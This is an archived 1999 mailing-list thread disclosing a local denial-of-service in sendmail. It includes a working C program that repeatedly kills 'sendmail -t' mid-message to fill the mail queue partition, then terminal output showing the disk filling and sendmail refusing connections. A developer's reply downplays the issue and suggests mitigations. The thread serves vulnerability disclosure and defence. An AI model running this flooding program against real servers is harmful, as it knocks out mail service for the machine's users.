sendmail.8.9.1.DoS.txt

`Date: Thu, 1 Apr 1999 14:00:16 +0000  
From: Lukasz Luzar <[email protected]>  
To: [email protected]  
Subject: Possible local DoS in sendmail  
  
Hi,  
It seems that sendmail ran with -t option does NOT block SIGINT ...  
In that moment while we are sending data to its stdin, when we will press  
CTRL-C process is being killed, but in queue rests unfinished letter.  
It stays there quite long - long enought to fullfill partition on disk where  
/var/spool/mqueue resides.  
When it happends, sendmail doesn't allow new connections - so it is a kind  
of DoS attack for this service.  
It has been tested on all new versions on sendmail up to current (8.9.3).  
  
Example ...  
  
--- CUT HERE ----  
#include <stdio.h>  
#include <unistd.h>  
#include <signal.h>  
#include <sys/wait.h>  
  
#define DELAY 5 /* time in seconds needed to reach  
MaxMessageSize limit */  
#define SM_PATH "/usr/sbin/sendmail -t"  
  
void main()  
{  
FILE *fd;  
int pid;  
  
for(;;) {  
if(( pid = fork()) == 0) {  
setpgrp();  
if(( fd = popen( SM_PATH, "w")) == NULL)  
fprintf( stderr, "popen error\n");  
  
for(;;) fputc( 'A', fd);  
} else {  
sleep( DELAY);  
kill( (-1) * pid, SIGINT);  
fprintf( stdout, "next\n");  
wait( NULL);  
}  
}  
}  
--- CUT HERE ---  
  
Regards,  
  
---  
Lukasz Luzar K.K.I.  
http://noname.kki.krakow.pl/ [email protected]  
  
---------------------------------------------------------------------  
  
Date: Thu, 1 Apr 1999 14:41:41 -0500  
From: KuRuPTioN <[email protected]>  
To: [email protected]  
Subject: Re: Possible local DoS in sendmail  
  
Well, this is very interesting... this is what I found my running this  
binary for 30 seconds =)  
  
Before:  
  
# df /  
Filesystem 1024-blocks Used Available Capacity Mounted on  
/dev/hda1 303251 87681 199909 30% /  
# ps auwx | grep sendmail  
root 1427 0.0 0.4 1324 816 ? S Mar 27 0:00 sendmail:  
accepting connections on port 25  
# ls -l /var/spool/mqueue  
total 0  
#  
  
After (30 seconds running):  
  
# df /  
Filesystem 1024-blocks Used Available Capacity Mounted on  
/dev/hda1 303251 107548 180042 37% /  
(not too bad but another 30 seconds later another df)  
  
Filesystem 1024-blocks Used Available Capacity Mounted on  
/dev/hda1 303251 146235 141355 51% /  
  
# ps auwx | grep sendmail  
mail 17144 70.5 0.4 1348 820 p1 R 11:35 0:48  
/usr/sbin/sendmail -t  
root 1427 0.0 0.4 1324 816 ? S Mar 27 0:00 sendmail:  
accepting connections on port 25  
(sendmail kindly using 70% of my CPU)  
  
# ls -l /var/spool/mqueue  
total 115854  
-rw------- 1 mail mail 118169600 Apr 1 11:37 dfLAA17144  
-rw------- 1 mail mail 0 Apr 1 11:35 qfLAA17144  
-rw------- 1 mail mail 0 Apr 1 11:35 xfLAA17144  
  
(once again a df)  
# df /  
Filesystem 1024-blocks Used Available Capacity Mounted on  
/dev/hda1 303251 224734 62856 78% /  
  
and once the hard drive becomes filled sendmail stops accepting connections  
since it has no temp space.  
  
# df /  
Filesystem 1024-blocks Used Available Capacity Mounted on  
/dev/hda1 303251 287590 0 100% /  
# ps auwx | grep sendmail  
mail 17144 68.5 0.4 1348 820 p1 R 11:35 2:33  
/usr/wrapped/sendmail -t  
root 1427 0.0 0.4 1324 816 ? S Mar 27 0:00 sendmail:  
rejecting connections on port 25: min free: 100  
#  
  
People, this is no april fools joke =)  
  
Raymond T Sundland  
MCSE, MCP, MCP+Internet  
PGP Key: finger [email protected]  
  
-----------------------------------------------------------------------------------  
  
Date: Fri, 2 Apr 1999 10:23:26 -0800  
From: Gregory Neil Shapiro <[email protected]>  
To: [email protected]  
Subject: Re: Possible local DoS in sendmail  
  
-----BEGIN PGP SIGNED MESSAGE-----  
  
Lukasz> In that moment while we are sending data to its stdin, when we will  
Lukasz> press CTRL-C process is being killed, but in queue rests unfinished  
Lukasz> letter. It stays there quite long - long enought to fullfill  
Lukasz> partition on disk where /var/spool/mqueue resides. When it  
Lukasz> happends, sendmail doesn't allow new connections - so it is a kind  
Lukasz> of DoS attack for this service. It has been tested on all new  
Lukasz> versions on sendmail up to current (8.9.3).  
  
Thanks for posting this info Lukasz.  
  
Unfortunately we believe this is just a variation on the many Denial of  
Service attacks possible from a Unix shell. In fact, it's "yet another  
queue filling" exercise. This problem affects most, if not all MTAs.  
  
Interestingly, the proposed DOS is less severe than the usual queue filling  
strategies such as repeatedly submitting large mails to an undeliverable  
address, such as someone@[10.255.255.255].  
  
The reason for this is that the derelict files will be removed by the next  
scheduled queue run. In the case of legitimately queued mail, it will take  
the full queue return timeout before the queue entry is removed (assuming a  
lack of intervention on the administrator's part).  
  
The valid point you do raise is that shell-based DOS attacks are hard to  
deal with. In many cases, the only recourse is to identify and stop the  
offender.  
  
In this case we suggest that if this attack is a possibility at your site,  
you use process accounting to help trace the malicious user. Also, unless  
your script gets the timing exactly right every time, the queue submission  
will complete which will give more information about the identity of the  
attacker. As a side note, setting the MaxMessageSize option prevents any  
one message from filling the queue.  
  
Having said that, it does point out that sendmail could log the username  
and queue ID earlier to help make tracing this sort of attack even easier.  
We will look into the benefits of doing this for a future release.  
  
  
Lukasz as a final point, we really appreciate you raising this issue but in  
the future, we would prefer some consultation prior to posting to bugtraq.  
This will allow us to have all of the information available at the time of  
the posting. The address to contact us is [email protected].  
  
Conclusion. Queue filling DOS attacks are not unique to sendmail. This is  
not a new problem. There is no general solution to this and many other DOS  
attacks apart from identifying and stopping the malicious user.  
  
-----BEGIN PGP SIGNATURE-----  
Version: PGPfreeware 5.0 for non-commercial use  
Comment: Processed by Mailcrypt 3.5.3, an Emacs/PGP interface  
Charset: noconv  
  
iQCVAwUBNwUKvXxLZ22gDhVjAQEv9QP9EgU5zmNeAZ63tUiRoq3C6OSbXEJ4yvw4  
PLCkOWUJ4etCzBKa5i1/SCa9/mW+WHmR3WobNCI5m8Y9AqYjSSe+gQgnWXXH5CJH  
fRgtRNrvVewAIsW84QRQDFdapLPiq4ZZbEu7w55WNVdgnZwwTqXGeLJEgP+cAcTl  
ehf8dKqtahk=  
=7/+l  
-----END PGP SIGNATURE-----  
  
`